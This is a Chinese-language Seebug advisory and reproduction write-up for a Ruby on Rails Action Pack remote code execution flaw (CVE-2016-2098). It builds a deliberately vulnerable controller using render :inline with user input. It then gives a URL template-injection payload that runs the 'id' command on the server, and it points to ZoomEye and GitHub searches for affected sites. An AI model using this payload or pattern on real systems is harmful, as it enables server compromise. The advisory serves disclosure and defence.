Lucene search

K
seebugRootSSV:91073
HistoryMar 17, 2016 - 12:00 a.m.

Ruby on Rails Action Pack远程代码执行漏洞

2016-03-1700:00:00
Root
www.seebug.org
14

0.943 High

EPSS

Percentile

99.0%

漏洞应用

测试环境:Rails-4.0.13 (Ruby-2.1.5)

测试系统:Kali Linux 2.0

创建 Rails 应用:

 rails new cve-2016-2098 
 cd cve-2016-2098

使用自带命令创建控制器 vuln 路由 index,并修改其路由默认处理代码:

rails generate scaffold User name:string desc:text age:integer 
rake db:migrate

修改 app/controllers/users_controller.rb 中 index 函数代码为:

class UsersController < ApplicationController ...
def show
render :inline => params[:q]
end ...
# def set_user # ..
# end
end

启动应用访问
http://*.*.*.*:3000/users/<%25=%20`id`%20%25>时,代 码会将
“&lt;%= `id` %&gt;”做为模板 :inline 渲染的方式将传入的字符串作为模 板内容进行渲染,因为在 Rails 模板引擎中,<%= [string_here] %> 表示将
[string_here] 作为 Ruby 代码进行执行并将结果进行返回,所以最终访问页
面会返回系统执行 id 命令后的结果:

漏洞影响

zoomeye.org 上搜索使用了 Rails 框架的站点:

全球大约有 4w 多个使用了 Rails 的站点可能受到该漏洞的影响。

同时也可以在 Github 上搜索 “render :inline =>”来查看潜在受到影响 的项目:

可以看到也有大量的项目符合这样的代码写法,可能受到该漏洞的影响。

相关链接:

[1] http://weblog.rubyonrails.org/2016/2/29/Rails-4-2-5-2-4-1-14-2-3-2-22-2-have-been-released/

[2] https://groups.google.com/d/msg/rubyonrails-security/ly-IH-fxr_Q/WLoOhcMZIAAJ

[3] https://github.com/rails/rails/compare/v4.2.5.1...v4.2.5.2